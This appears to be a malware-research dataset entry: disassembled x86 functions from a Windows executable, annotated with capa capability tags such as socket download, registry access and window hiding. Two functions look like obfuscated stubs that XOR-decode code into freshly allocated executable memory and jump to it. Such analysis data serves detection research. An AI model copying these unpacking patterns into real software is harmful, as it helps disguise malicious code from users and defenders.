joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404837
Capabilities:
Get disk information

Disassembly:
mov eax, 0x429b10
call fcn.00428650
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
call fcn.00401f1f
mov edi, dword [sym.imp.kernel32.dll_GetLogicalDriveStringsW]
push 0
push 0
call edi
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x18], ebx
je 0x40490d
mov eax, SysReAllocString
cmp ebx, eax
ja 0x404873
mov eax, ebx
add eax, eax
push eax
call fcn.00405733
mov esi, eax
pop ecx
mov dword [ebp - 0x20], esi
and dword [ebp - 4], 0
push esi
push ebx
call edi
mov ebx, eax
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0x14], ebx
je 0x404906
cmp ebx, dword [ebp - 0x18]
ja 0x404906
lea ecx, [ebp - 0x2c]
call fcn.00402679
test ebx, ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x18], edi
jbe 0x4048ee
push 2
xor eax, eax
pop ebx
cmp word [esi + ebx - 2], 0
jne 0x4048e3
add eax, esi
lea ecx, [ebp - 0x2c]
push eax
call fcn.00405733
mov ecx, dword [ebp - 0x10]
lea eax, [edi + 1]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ebx
call fcn.00405733
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x2c]
push eax
call fcn.00401d25
mov eax, ebx
inc edi
inc ebx
inc ebx
cmp edi, dword [ebp - 0x14]
jb 0x4048b1
mov ebx, dword [ebp - 0x14]
push dword [ebp - 0x2c]
call fcn.00402153
push esi
call fcn.00402153
cmp dword [ebp - 0x18], ebx
pop ecx
pop ecx
sete al
jmp 0x40490f
push esi
call fcn.00402153
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x405733
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x405742
pop dword [ebp - 8]
mov eax, 0x42bde93
add eax, 0xfc1478af
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x3a46a
push 0
mov eax, 0xa0148308
sub eax, 0x9fd1c2dc
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x15f5bff0
add ecx, 0xea0a8c0f
mov ebx, eax
mov edi, 0x5a920b72
add edi, 0xa5b1ac8e
add edi, dword [ebp - 8]
mov edx, 0xc2bde9f8
mov dword [ebp - 4], 0x88dec8ee
mov esi, dword [edi]
sub dword [ebp - 4], 0x56c663d
add esi, edx
xor dword [ebp - 4], ebx
mov dword [ebx], esi
add ebx, 4
add edi, 4
loop 0x40579b
add eax, 0x48f2aa19
add eax, 0xb70e78b6
mov ebx, eax
add eax, 5
mov ecx, 0x4f37a994
add ecx, 0xb108566c
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x40672b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x40673a
pop dword [ebp - 0xc]
mov eax, 0xe485b225
sub eax, 0xe4454aeb
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x2c327bee
add dword [ebp - 0x1c], 0x221fc95d
mov dword [ebp - 0x18], 0x9e0e719b
sub dword [ebp - 0x18], 0x6bdb2556
mov dword [ebp - 0x14], 0xad40c4cf
add dword [ebp - 0x14], 0x9f0b7f5f
mov dword [ebp - 0x10], 0xbae2df52
add dword [ebp - 0x10], 0x451d20ae
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x84971747
sub dword [ebp - 0x1c], 0x1024adf1
mov dword [ebp - 0x18], 0x77792c5f
add dword [ebp - 0x18], 0xc9f33516
mov dword [ebp - 0x14], 0xe7ea18d9
sub dword [ebp - 0x14], 0x847aac6d
mov dword [ebp - 0x10], 0x24cafc82
add dword [ebp - 0x10], 0xdb35037e
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x8ef157c1
sub eax, 0x8eb0d6c1
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x36585
push 0
call eax
mov ecx, 0xa05dadcd
add ecx, 0x5fa29584
xor ebx, ebx
add ebx, eax
mov esi, 0x46e400
add esi, dword [ebp - 0xc]
mov edx, 0xb70578e7
sub edx, 0xd40ab4a0
add dword [ebp - 8], 0xcf8fc9f9
mov edi, dword [esi]
xor dword [ebp - 4], edx
sub edi, edx
xor dword [ebp - 4], eax
mov dword [ebx], edi
add dword [ebp - 8], esi
add ebx, 4
add esi, 0xdf911f3c
add esi, 0x206ee0c8
loop 0x406853
add eax, 0x10017
mov ebx, eax
add eax, 0x4e6fe205
sub eax, 0x4e6fe200
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x404ec4
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
push ebx
push esi
push edi
mov esi, 0x41d23c
lea edi, [ebp - 0x508]
xor eax, eax
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x507]
mov ecx, 0xff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
xor ebx, ebx
mov eax, dword [ebp + 0x10]
add eax, 0x1c
mov dword [ebp - 4], eax
cmp dword [eax], ebx
jle 0x404f5c
xor esi, esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 0x18]
mov eax, dword [ecx + esi]
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x404f14
mov ecx, dword [eax + 0x10]
lea eax, [ebp - 0x108]
push eax
push ecx
call fcn.0040c2f2
add esp, 8
lea ecx, [ebp - 0x108]
lea edx, [ebp + edi - 0x508]
push ecx
push 0x41d468
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
add edi, eax
lea ecx, [edi + 0x104]
cmp ecx, 0x400
jae 0x404f5c
mov eax, dword [ebp - 4]
add esi, 4
inc ebx
cmp dword [eax], ebx
jg 0x404f01
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x508]
push eax
mov ebx, dword [ebp + 0xc]
mov edi, dword [esi]
push ebx
mov ecx, esi
call dword [edi + 0x88]
mov edi, dword [edi + 0x8c]
mov eax, dword [ebp - 4]
mov ecx, esi
cmp dword [eax], 1
mov eax, 0
adc eax, 0xffffffff
and eax, 5
push eax
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 4]
mov ecx, esi
cmp dword [eax], 1
sbb eax, eax
inc eax
push eax
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4053f7
Capabilities:
Write file on windows

Disassembly:
sub esp, 4
push ebx
push esi
push edi
xor ebx, ebx
push dword [esp + 0x14]
mov edi, ecx
call fcn.00417f10
add esp, 4
mov esi, eax
mov eax, dword [edi]
cmp dword [eax + 0x60], ebx
je 0x405465
add eax, 0x64
cmp byte [eax], bl
je 0x405465
push ebx
push pe_nt_image_headers32
push 4
push ebx
push 3
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov edi, eax
je 0x405461
push 2
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0xc]
push ebx
push eax
push esi
push dword [esp + 0x20]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x40546a
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 4
ret 4
Function at 0x407899
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ecx + 0x421c]
mov ecx, dword [edi]
cmp dword [ecx + 8], 0
lea edx, [ecx + 0x184]
jne 0x4078c1
lea edx, [ecx + 0x80]
mov eax, dword [ecx + 0x1c]
test eax, eax
jne 0x4078cb
mov eax, dword [ecx + 0x20]
push eax
lea ecx, [ebp - 0x400]
push edx
push ecx
call fcn.0040c414
add esp, 0xc
cmp eax, 0x104
jl 0x407902
push 0
lea eax, [ebp - 0x400]
push str.Pathname_too_long
mov ebx, dword [esi]
push eax
mov ecx, esi
call dword [ebx + 0x90]
xor eax, eax
jmp 0x4079a8
mov ecx, dword [edi]
mov eax, dword [ecx + 0x1c]
test eax, eax
jne 0x40790e
mov eax, dword [ecx + 0x20]
push eax
lea ecx, [ebp - 0x400]
push ecx
call fcn.0040c3d3
add esp, 8
test eax, eax
push 0
jne 0x40793e
push str.Not_safe_pathname
lea eax, [ebp - 0x400]
push eax
mov ebx, dword [esi]
mov ecx, esi
call dword [ebx + 0x90]
xor eax, eax
jmp 0x4079a8
push pe_nt_image_headers32
lea eax, [ebp - 0x400]
push 2
push 0
push 3
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [edi]
mov dword [ecx + 0x54], eax
mov eax, dword [edi]
cmp dword [eax + 0x54], 0xffffffff
jne 0x40798e
cmp dword [eax + 8], 0
je 0x407972
xor eax, eax
jmp 0x4079a8
push 0
lea eax, [ebp - 0x400]
push eax
mov ebx, dword [esi]
push str.Cant_create_file
mov ecx, esi
call dword [ebx + 0x90]
xor eax, eax
jmp 0x4079a8
test byte [eax + 0x25], 1
je 0x4079a3
push 1
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4079af
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ecx + 0x421c]
mov ecx, dword [edi]
mov ebx, dword [ecx + 0x44]
lea eax, [ecx + 0x40]
mov edx, dword [eax]
lea eax, [ecx + 0x28]
mov dword [ebp - 8], edx
mov edx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
sub ebx, dword [ecx + 0x48]
sub edx, dword [ebp - 8]
sbb eax, dword [ebp - 4]
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, 0x10000
sub eax, ebx
cdq
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 4]
cmp dword [ebp - 0xc], edx
jg 0x407a16
jl 0x407a0a
cmp dword [ebp - 0x10], eax
jae 0x407a16
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
push 0
mov eax, dword [ecx + 0x50]
add eax, ebx
mov ecx, dword [ecx]
push dword [ebp - 8]
push eax
push dword [ecx + 8]
call sub.WSOCK32.dll_recv
mov dword [ebp - 4], eax
test eax, eax
jle 0x407b2f
mov eax, dword [edi]
cmp dword [eax + 0x54], 0xffffffff
jne 0x407a4d
mov ecx, esi
call fcn.00407899
test eax, eax
je 0x407b2f
add ebx, dword [ebp - 4]
mov eax, dword [ebp - 4]
cdq
mov dword [ebp - 0x10], eax
mov eax, dword [edi]
add eax, 0x40
mov dword [ebp - 0xc], edx
mov ecx, dword [eax]
mov eax, dword [eax + 4]
add ecx, dword [ebp - 0x10]
adc eax, edx
mov edx, dword [edi]
add edx, 0x28
cmp eax, dword [edx + 4]
jg 0x407a81
jl 0x407a79
cmp ecx, dword [edx]
jae 0x407a81
cmp ebx, 0x10000
jne 0x407aad
push 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [edi]
push ebx
push dword [ecx + 0x50]
push dword [ecx + 0x54]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x407b19
cmp ebx, dword [ebp - 4]
jne 0x407b19
mov ecx, dword [edi]
mov eax, ebx
add ecx, 0x48
cdq
add dword [ecx], eax
adc dword [ecx + 4], edx
mov eax, dword [edi]
mov ecx, dword [ebp - 0x10]
add eax, 0x40
mov edx, dword [ebp - 0xc]
add dword [eax], ecx
adc dword [eax + 4], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [edi]
mov edx, eax
mov ecx, dword [ecx]
add ecx, 0x20
sub edx, dword [ecx]
cmp edx, 0x3e8
jb 0x407aeb
push 0
mov dword [ecx], eax
push 0
mov eax, dword [esi]
push 0x470
mov ecx, esi
call dword [eax + 0xa0]
mov esi, dword [edi]
mov ebx, dword [esi + 0x44]
lea edx, [esi + 0x28]
lea eax, [esi + 0x40]
cmp dword [edx + 4], ebx
mov ecx, dword [eax]
jg 0x407b12
jl 0x407b03
cmp dword [edx], ecx
ja 0x407b12
cmp dword [esi + 8], 1
mov eax, 8
adc eax, 0xffffffff
mov dword [esi + 0x7c], eax
mov eax, 1
jmp 0x407b31
push 0
mov eax, dword [esi]
push 0x41d268
mov ecx, esi
push str.Cant_write_file
call dword [eax + 0x90]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4081db
Capabilities:
Get hostname
Get session user name
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [esi + 8], edi
call fcn.0040c4bf
mov ecx, dword [ebp + 8]
mov dword [esi + 0xc], eax
mov eax, 0xffffffff
mov dword [esi + 0x10], edi
mov dword [esi + 4], eax
mov dword [esi], eax
push dword [ebp + 0xc]
mov dword [esi + 0x84], ecx
mov ecx, esi
call fcn.004082a4
test eax, eax
je 0x408294
lea ebx, [esi + 0x4e]
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x32
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x408240
push edi
push str.gethostname__
call fcn.0040c251
add esp, 8
jmp 0x408294
push ebx
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x408259
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [esi + 0x80], edx
jmp 0x408263
mov dword [esi + 0x80], 0
lea edi, [esi + 0x1c]
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x32
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
cmp eax, 1
je 0x40828d
push 0x32
push str.no_name
push edi
call fcn.0040b5f2
add esp, 0xc
mov dword [esi + 8], 1
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x408a0b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
lea eax, [ebp - 0x10]
mov esi, ecx
push 0x10
push 0
push eax
call fcn.00417bb0
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov word [ebp - 0xe], ax
mov ecx, dword [ebp + 8]
push 0x10
lea edx, [ebp - 0x10]
push edx
mov dword [ebp - 0xc], ecx
mov word [ebp - 0x10], 2
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [esi]
call sub.WSOCK32.dll_sendto
cmp eax, 0xffffffff
jne 0x408ae0
call sub.WSOCK32.dll_WSAGetLastError
cmp eax, 0x2742
je 0x408a6c
cmp eax, 0x2751
je 0x408ab2
xor eax, eax
jmp 0x408ae5
mov ecx, esi
call fcn.0040858b
cmp eax, 1
je 0x408a7c
xor eax, eax
jmp 0x408ae5
mov eax, dword [esi + 0x10]
test eax, eax
je 0x408a94
push eax
mov ecx, esi
call fcn.0040864f
cmp eax, 1
je 0x408a94
xor eax, eax
jmp 0x408ae5
push 0x10
lea eax, [ebp - 0x10]
push eax
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [esi]
call sub.WSOCK32.dll_sendto
cmp eax, 0xffffffff
jne 0x408ae0
xor eax, eax
jmp 0x408ae5
xor esi, esi
cmp dword [0x420528], esi
jne 0x408adc
mov dword [0x420528], 1
push esi
push dword [ebp + 8]
call sub.WSOCK32.dll_inet_ntoa
push eax
push str.sendto___failed._r_nPlease_set_default_gateway_in_TCP_IP_settings
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x408ae5
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x408b28
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0xc], 0x10
push ebx
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 1
push esi
push edi
mov edi, ecx
mov esi, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x1c]
push ecx
push dword [edi + 4]
call sub.WSOCK32.dll_accept
cmp eax, 0xffffffff
mov ecx, eax
mov dword [esi + 8], eax
je 0x408be8
push 4
lea eax, [ebp - 8]
push eax
mov ebx, 1
push ebx
push 0xffff
push ecx
call sub.WSOCK32.dll_setsockopt
mov eax, dword [ebp - 0x18]
mov dword [esi + 0x18], ebx
mov dword [esi + 0xc], eax
mov dword [esi + 0x14], ebx
mov dword [ebp - 4], 0x40000
movzx ecx, word [ebp - 0x1a]
mov dword [esi + 0x10], ecx
push 4
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
push dword [esi + 8]
call sub.WSOCK32.dll_setsockopt
test eax, eax
je 0x408bbe
mov eax, dword [ebp - 4]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 4], eax
test eax, eax
jg 0x408b93
push esi
mov ecx, edi
push dword [ebp + 8]
call fcn.00408cff
test eax, eax
je 0x408be0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x20], eax
mov dword [esi + 0x1c], eax
mov eax, 1
jmp 0x408bea
push dword [esi + 8]
call sub.WSOCK32.dll_closesocket
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x408bf3
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
xor eax, eax
push ebx
push esi
mov ebx, ecx
push edi
push eax
mov edi, dword [ebp + 0xc]
push 1
push 2
lea esi, [edi + 8]
mov dword [edi + 0x14], eax
call sub.WSOCK32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x408cf4
mov dword [ebp - 8], 1
lea ecx, [ebp - 8]
push ecx
push 0x8004667e
push eax
call sub.WSOCK32.dll_ioctlsocket
test eax, eax
jne 0x408cf4
push 4
lea eax, [ebp - 8]
push eax
push 1
push 0xffff
push dword [esi]
call sub.WSOCK32.dll_setsockopt
mov dword [ebp - 4], 0x40000
push 4
lea eax, [ebp - 4]
push eax
push 0x1002
push 0xffff
push dword [esi]
call sub.WSOCK32.dll_setsockopt
test eax, eax
je 0x408c81
mov eax, dword [ebp - 4]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 4], eax
test eax, eax
jg 0x408c57
push edi
mov ecx, ebx
push dword [ebp + 8]
call fcn.00408cff
test eax, eax
je 0x408ced
push 0x10
lea eax, [ebp - 0x18]
push 0
push eax
call fcn.00417bb0
add esp, 0xc
mov eax, dword [edi + 0x10]
mov word [ebp - 0x16], ax
mov ecx, dword [edi + 0xc]
push 0x10
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0x14], ecx
push dword [esi]
mov word [ebp - 0x18], 2
call sub.WSOCK32.dll_connect
cmp eax, 1
sbb eax, eax
neg eax
mov dword [edi + 0x18], eax
test eax, eax
jne 0x408cda
call sub.WSOCK32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x408ced
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [edi + 0x20], eax
mov dword [edi + 0x1c], eax
mov eax, 1
jmp 0x408cf6
push dword [esi]
call sub.WSOCK32.dll_closesocket
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x409613
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x34
push ebx
push esi
push edi
push ebp
mov ebx, dword [ecx]
mov eax, dword [ecx + 0x30]
mov edi, ecx
push 0x32
mov esi, dword [ebx + 0x84]
add eax, 0x2f0
push eax
push 0x40a
call esi
push 0x32
mov eax, dword [edi + 0x30]
add eax, 0x322
mov ecx, edi
push eax
push 0x439
mov ebp, 0xf0
call esi
mov esi, dword [ebx + 0xa8]
mov ecx, edi
xor ebx, ebx
push ebx
push ebx
push ebp
push 0x3f9
call esi
mov ecx, dword [edi + 0x30]
push ebx
push ebx
push ebp
push 0x402
mov dword [ecx + 0x4c], eax
mov ecx, edi
call esi
mov ecx, dword [edi + 0x30]
push ebx
push ebx
push ebp
push 0x3f7
mov dword [ecx + 0x48], eax
mov ecx, edi
call esi
mov ecx, dword [edi + 0x30]
push ebx
push ebx
push ebp
push 0x3fa
mov dword [ecx + 0x54], eax
mov ecx, edi
call esi
mov ecx, dword [edi + 0x30]
push ebx
push ebx
push ebp
push 0x3ec
mov dword [ecx + 0x2b8], eax
mov ecx, edi
call esi
mov ecx, dword [edi + 0x30]
mov dword [ecx + 0x2bc], eax
mov ecx, dword [edi + 0x30]
add ecx, 0x96c
mov eax, dword [ecx]
call dword [eax + 4]
mov ebp, eax
test ebp, ebp
je 0x4096df
push ebp
call fcn.00404fe3
add esp, 4
push ebp
call fcn.004179e0
add esp, 4
jmp 0x4096b7
xor ebx, ebx
lea eax, [esp + 0x10]
push eax
mov ecx, edi
push ebx
push 0x189
push 0x3fc
call esi
cmp eax, 0xffffffff
je 0x409750
push 0x10
call fcn.00417e70
add esp, 4
mov ebp, eax
test ebp, ebp
je 0x409750
lea eax, [esp + 0x10]
inc ebx
push eax
call sub.WSOCK32.dll_inet_addr
mov dword [ebp + 8], eax
mov eax, dword [edi + 0x30]
push dword [eax + 0x44]
call sub.WSOCK32.dll_htons
movzx ecx, ax
push ebp
mov dword [ebp + 0xc], ecx
mov ecx, dword [edi + 0x30]
add ecx, 0x96c
mov eax, dword [ecx]
call dword [eax]
lea eax, [esp + 0x10]
mov ecx, edi
push eax
push ebx
push 0x189
push 0x3fc
call esi
cmp eax, 0xffffffff
jne 0x4096fa
push 0
mov ecx, edi
push 0
push 0xf0
push 0x42e
call esi
mov ecx, dword [edi + 0x30]
pop ebp
pop edi
pop esi
pop ebx
mov dword [ecx + 0x984], eax
add esp, 0x34
ret

Function at 0x4098f6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov eax, 4
mov ebp, esp
sub esp, 0x70
push esi
mov dword [ebp - 8], eax
push edi
mov esi, ecx
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
mov edx, dword [esi + 4]
push eax
push edi
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push dword [esi + edx*4 + 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x409963
lea eax, [ebp - 4]
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 0x64
push eax
push ecx
mov eax, dword [esi + 4]
push dword [ebp + 8]
push dword [esi + eax*4 + 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
mov eax, 0
jne 0x409968
lea eax, [ebp - 0x70]
push eax
call fcn.004186d0
add esp, 4
mov dword [edi], eax
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x4099f1
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, ecx
push dword [esp + 0xc]
call fcn.00417f10
add esp, 4
inc eax
push eax
mov eax, dword [esi + 4]
push dword [esp + 0x10]
push 1
push 0
push dword [esp + 0x18]
push dword [esi + eax*4 + 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop esi
cmp eax, 1
sbb eax, eax
neg eax
ret 8

Function at 0x409a5c
Capabilities:
Query or enumerate registry key

Disassembly:
xor eax, eax
lea edx, [esp + 0xc]
push eax
push eax
push eax
push eax
push edx
mov eax, dword [ecx + 4]
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push dword [ecx + eax*4 + 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 1
sbb eax, eax
neg eax
ret 0xc
Function at 0x40bf78
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov edx, 0x41d23c
mov ebp, esp
sub esp, 0x658
push ebx
push esi
push edi
mov ebx, ecx
mov esi, edx
lea edi, [ebp - 0x154]
xor eax, eax
mov ecx, 0x40
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x153]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, edx
mov ecx, 0xff
stosb byte es:[edi], al
lea edi, [ebp - 0x658]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x657]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp byte [edi], al
je 0x40bffc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x154]
push eax
push ecx
push 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
je 0x40bffc
cmp dword [ebp - 4], 0
je 0x40bffc
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x658]
mov byte [eax - 1], 0
push dword [ebp - 4]
jmp 0x40c00b
cmp dword [ebp + 0x14], 0
je 0x40c014
push dword [ebp + 0x14]
lea ecx, [ebp - 0x154]
push ecx
call fcn.00417c10
add esp, 8
push 0x4c
lea eax, [ebp - 0x50]
push 0
push eax
call fcn.00417bb0
add esp, 0xc
mov eax, dword [ebx]
mov dword [ebp - 0x50], 0x4c
test eax, eax
je 0x40c039
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x4c], eax
jmp 0x40c040
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp + 0x10]
lea ecx, [ebp - 0x658]
mov dword [ebp - 0x44], eax
cmp eax, 1
sbb eax, eax
mov edx, dword [ebp + 0xc]
inc eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x30], 0x400
lea eax, [ebp - 0x154]
mov dword [ebp - 0x24], eax
mov eax, dword [ebx + 4]
mov dword [ebp - 0xc], eax
cmp eax, 1
mov eax, 0
adc eax, 0xffffffff
add ebx, 8
and eax, 0x20
or eax, 0x80004
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx]
test eax, eax
je 0x40c0a7
cmp eax, 1
je 0x40c0a7
sub eax, 3
cmp eax, 1
sbb eax, eax
and eax, 0x100000
jmp 0x40c0b5
dec eax
cmp eax, 1
sbb eax, eax
and eax, 0x200
or ah, 0x10
or dword [ebp - 0x1c], eax
lea eax, [ebp - 0x258]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, dword [ebx]
test eax, eax
je 0x40c0e0
cmp eax, 1
je 0x40c0e0
lea eax, [ebp - 0x50]
push eax
call sub.comdlg32.dll_GetSaveFileNameA
jmp 0x40c0e9
lea eax, [ebp - 0x50]
push eax
call sub.comdlg32.dll_GetOpenFileNameA
mov esi, eax
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test esi, esi
je 0x40c13d
cmp dword [ebx], 1
jne 0x40c118
push 0x400
lea eax, [ebp - 0x658]
push eax
push edi
call fcn.00417d00
add esp, 0xc
jmp 0x40c124
push dword [ebp - 0x34]
push edi
call fcn.00417c10
add esp, 8
cmp dword [ebp + 0x14], 0
je 0x40c13d
movzx eax, word [ebp - 0x18]
push eax
push dword [ebp - 0x34]
push dword [ebp + 0x14]
call fcn.0040b5f2
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40ce84
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov ebx, ecx
mov esi, 0x41d23c
lea edi, [ebp - 0x110]
xor eax, eax
mov ecx, 0x40
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x10f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x214]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push esi
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 4
jb 0x40ceef
push str.Media
lea eax, [ebp - 0x110]
push eax
call fcn.00417c20
add esp, 8
xor eax, eax
lea ecx, [ebp - 0x110]
push ecx
mov dword [ebp - 0xc], ebx
push str.SoundFile_.wav_
lea ecx, [ebp - 0xc]
push str.SoundFile_selection
mov dword [ebp - 8], eax
push 0x433
mov dword [ebp - 4], eax
call fcn.0040bf0a
mov esi, eax
lea ecx, [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret